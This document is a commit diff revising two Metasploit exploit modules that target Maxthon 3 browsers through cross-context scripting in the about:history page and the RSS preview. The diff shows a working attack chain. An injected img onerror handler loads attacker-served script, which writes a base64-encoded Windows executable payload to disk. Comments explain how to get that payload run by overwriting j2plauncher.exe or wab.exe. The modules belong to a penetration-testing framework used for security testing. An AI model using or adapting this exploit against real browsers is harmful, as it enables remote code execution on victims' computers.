First changes

Author: sinn3r

modules/exploits/windows/browser/maxthon_history_xcs.rb

@@ -1,3 +1,11 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
@@ -7,33 +15,29 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def initialize(info = {})
 		super(update_info(info,
-			'Name' => 'Maxthon about:history XCS',
+			'Name' => 'Maxthon3 about:history XCS',
 			'Description' => %q{
 				Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
-				Injection in such privileged/trusted browser zone can be used to modify configuration settings and
-				execute arbitrary commands. Affects Maxthon 3 browsers.
+				Injection in such privileged/trusted browser zone can be used to modify
+				configuration settings and execute arbitrary commands.
 			},
 			'License' => BSD_LICENSE,
 			'Author' =>
-					[ 'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
-					],
-			'Version' => '$Revision: 1 $',
+				[ 
+					'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
+				],
 			'References' =>
 				[
-						['CVE', 'TBA'],
 						['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'],
 				],
 			'Payload' =>
 				{
 				'DisableNops' => true,
 				},
+			'Platform'       => 'win',
 			'Targets' =>
 				[
-					['Maxthon 3',
-						{
-							'Platform' => 'win',
-						}
-					],
+					['Maxthon 3 on Windows', {} ]
 				],
 			'DisclosureDate' => 'Nov 26 2012',
 			'DefaultTarget' => 0
@@ -67,7 +71,7 @@ def on_request_uri(cli, request)
 			^
 
 		case request.uri
-			when /[?]jspayload/
+			when /\?jspayload/
 				p = regenerate_payload(cli)
 				if (p.nil?)
 					send_not_found(cli)
@@ -77,16 +81,24 @@ def on_request_uri(cli, request)
 				# everything is encoded
 				penc = Msf::Util::EXE.to_win32pe(framework, p.encoded)
 				penc2 = Rex::Text.encode_base64(penc)
+
 				# now this is base64 encoded payload which needs to be passed to the file write api in maxthon
 				# depending on maxthon version, then file can be launched via Program DOM API
 				# or replacing Java program
+				# here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
+				# this is because the maxthon.program object has been silently removed in latest Maxthon versions...
+				# in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
+				# e.g. wab.exe invoked via mailto://
+				# however, in win7, a prompt will be displayed if browser executes a mail client or an external program
+				# so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
+				# once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
+				# unless previously loaded by the user
 				content =
 						%Q{
 					var fileTemp = new maxthon.io.File.createTempFile("test","exe");
 					var fileObj = maxthon.io.File(fileTemp);
 					maxthon.io.FileWriter(fileTemp);
 
-
 					if(maxthon.program)
 					{
 					maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
@@ -95,15 +107,6 @@ def on_request_uri(cli, request)
 
 					else
 					{
-					// here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
-					// this is because the maxthon.program object has been silently removed in latest Maxthon versions...
-					// in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
-					// e.g. wab.exe invoked via mailto://
-					// however, in win7, a prompt will be displayed if browser executes a mail client or an external program
-					// so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
-					// once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
-					// unless previously loaded by the user
-					//
 					fileTemp.name_ = "#{jpath}";
 					maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
 
@@ -115,45 +118,39 @@ def on_request_uri(cli, request)
 
 				}
 
-			when /[?]history/
-				js = %Q^
+			when /\?history/
+				js = %Q|
 				window.onload = function() {
 					location.href = "about:history";
 				}
-				^
-				content = %Q^
+				|
+
+				content = %Q|
 				#{html_hdr}
 				<script>
 				#{js}
 				</script>
 				#{html_ftr}
-				^
+				|
 			when get_resource()
 				print_status("Sending #{self.name} payload for request #{request.uri}")
 
-				js = %Q^
+				js = %Q|
 
 				url = location.href;
 				url2 = url + "?jspayload=1";
-
 				inj = "?history#%22/><img src=a onerror=%22"
-
 				inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
-
-
 				window.location = unescape(inj) + inj_1;
+				|
 
-
-
-
-				^
-				content = %Q^
+				content = %Q|
 				#{html_hdr}
 				<script>
 				#{js}
 				</script>
 				#{html_ftr}
-				^
+				|
 			else
 				print_status("Sending 404 for request #{request.uri}")
 				send_not_found(cli)

modules/exploits/windows/browser/maxthon_rss_xcs.rb

@@ -1,3 +1,10 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
@@ -10,31 +17,26 @@ def initialize(info = {})
 			'Name' => 'Maxthon RSS Preview',
 			'Description' => %q{
 				RSS feed content is rendered by Maxthon in a trusted/privileged zone.
-				Injection in such privileged/trusted browser zone can be used to modify configuration settings and execute arbitrary commands.
-				Affects Maxthon 3 browsers.
+				Injection in such privileged/trusted browser zone can be used to modify
+				configuration settings and execute arbitrary commands.
 			},
 			'License' => BSD_LICENSE,
 			'Author' =>
 				[
 					'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
 				],
-			'Version' => '$Revision: 1 $',
 			'References' =>
 				[
-					['CVE', 'TBA'],
 					['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-rss-rce.html'],
 				],
 			'Payload' =>
 				{
 					'DisableNops' => true,
 				},
+			'Platform'       => 'win',
 			'Targets' =>
 				[
-					['Maxthon 3',
-						{
-							'Platform' => 'win',
-						}
-					],
+					['Maxthon 3 on Windows',{} ],
 				],
 
 			'DisclosureDate' => 'Nov 26 2012',